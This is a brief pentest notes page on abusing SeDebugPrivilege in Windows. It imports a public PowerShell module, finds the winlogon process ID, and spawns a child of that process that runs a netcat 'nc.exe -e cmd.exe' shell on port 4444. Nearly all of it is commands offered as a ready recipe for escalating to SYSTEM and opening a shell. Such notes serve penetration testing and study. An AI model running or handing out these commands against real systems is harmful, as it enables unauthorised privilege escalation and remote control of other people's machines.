> For the complete documentation index, see [llms.txt](https://notes.morph3.blog/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://notes.morph3.blog/windows/privilege-escalation/sedebugprivilege.md).

# SeDebugPrivilege

You can update update proc attribute list with this privilege and can elevate privileges.

Use the module below to do that.

* <https://github.com/decoder-it/psgetsystem/blob/master/psgetsys.ps1>

```powershell
import-module .\psgetsys.ps1
```

Find pid of a process that is privileged.

```powershell
Get-Process winlogon
```

Use that pid to attach & execute commands

```powershell
[MyProcess]::CreateProcessFromParent("552","c:\windows\system32\cmd.exe", "/c c:\windows\temp\nc.exe 127.0.0.1 4444 -e cmd.exe")
```